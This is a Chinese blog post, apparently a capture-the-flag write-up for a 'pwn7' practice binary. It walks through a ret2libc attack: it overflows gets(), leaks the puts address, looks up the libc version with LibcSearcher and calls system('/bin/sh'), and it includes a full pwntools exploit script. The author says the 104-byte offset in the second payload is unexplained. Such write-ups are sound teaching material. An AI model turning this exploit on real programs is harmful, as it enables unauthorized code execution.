pwn7第七关

本文介绍了一种利用ROP技巧寻找Libc基址的方法,并通过泄露的puts函数地址来定位system及/bin/sh的位置,最终实现程序的远程控制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前面几个懒得写了,直接第七个吧,溢出点和前面一样get()函数,112字节,保护只开了NX程序本身没有system(),也没有/bin/sh,且栈不可执行,用ROPgadget也没找到有用的语句,但是程序是动态链接的,运行时会加载so库,可以用put()泄露出put的真实地址,又因为ASLR随机化不了地址底12位,可以用put真实地址的底12位查询加载的那个版本的libc.so,以及确定libc的基地址,知道了哪个版本,就可以确定system()及/bin/sh的偏移,libc基地址加上偏移就是system的真实地址,这里用了一个python库LibcSearcher,github地址
基本用法:

from LibcSearcher import *

#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)

obj.dump("system")        #system 偏移
obj.dump("str_bin_sh")    #/bin/sh 偏移
obj.dump("__libc_start_main_ret") 

exp如下:

from pwn import *
from LibcSearcher import *
context.log_level='debug'
sh = process('./pwn7')
elf = ELF('./pwn7')
payload='a'*112+p32(elf.plt['puts'])+p32(elf.symbols['main'])+p32(elf.got['puts'])
sh.sendline(payload)
sh.recvuntil('?')
puts_addr=u32(sh.recv(4))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr_real=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
payload1='a'*104+p32(system_addr_real)+'a'*4+p32(bin_sh)
sh.recvuntil('?')
sh.sendline(payload1)
sh.interactive()

至于为啥第二次104个字节就覆盖到返回地址,暂时还没想明白,gdb附件调试可以看出是104个

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值